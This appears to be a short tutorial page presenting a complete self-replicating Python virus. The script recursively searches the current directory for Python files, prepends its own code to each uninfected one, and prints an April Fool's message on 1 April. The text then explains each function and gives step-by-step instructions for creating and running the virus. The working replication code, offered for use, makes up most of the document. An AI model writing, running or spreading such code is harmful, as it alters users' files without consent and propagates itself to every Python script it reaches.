python virus

#!/usr/bin/python 
import os, datetime, inspect 
DATA_TO_INSERT = "GEEKSFORGEEKS"
  
#search for target files in path
def search(path):  
    filestoinfect = [] 
    filelist = os.listdir(path) 
    for filename in filelist: 
          
        #If it is a folder
        if os.path.isdir(path+"/"+filename):  
            filestoinfect.extend(search(path+"/"+filename)) 
              
        #If it is a python script -> Infect it    
        elif filename[-3:] == ".py":
              
            #default value
            infected = False  
            for line in open(path+"/"+filename): 
                if DATA_TO_INSERT in line: 
                    infected = True
                    break
            if infected == False: 
                filestoinfect.append(path+"/"+filename) 
    return filestoinfect 
  
#changes to be made in the target file 
def infect(filestoinfect): 
    target_file = inspect.currentframe().f_code.co_filename 
    virus = open(os.path.abspath(target_file)) 
    virusstring = "" 
    for i,line in enumerate(virus): 
        if i>=0 and i <41: 
            virusstring += line 
    virus.close 
    for fname in filestoinfect: 
        f = open(fname) 
        temp = f.read() 
        f.close() 
        f = open(fname,"w") 
        f.write(virusstring + temp) 
        f.close() 
          
#Not required actually        
def explode(): 
    if datetime.datetime.now().month == 4 and datetime.datetime.now().day == 1: 
            print ("HAPPY APRIL FOOL'S DAY!!")
filestoinfect = search(os.path.abspath("")) 
infect(filestoinfect) 
explode() 

Here is what the above code is Doing:
1. The first function search() is used to search for all the python files in the current directory and all the subdirectories.
2. The second function infect() is used to infect the target files.
3. The third function explode() is used to explode the virus on April Fool's Day.

Now, let's see how the virus works.

1. The virus searches for all the python files in the current directory and all the subdirectories.
2. The virus infects the target files by adding the virus code to the beginning of the target file.
3. The virus explodes on April Fool's Day.

Now, let's see how to create a virus.

1. Create a file named virus.py and copy the above code into it.
2. Run the virus.py file.
3. The virus will infect all the python files in the current directory and all the subdirectories.
4. Now, run any python file in the current directory or any subdirectory.
5. The virus will print "HAPPY APRIL FOOL'S DAY!!" on the screen.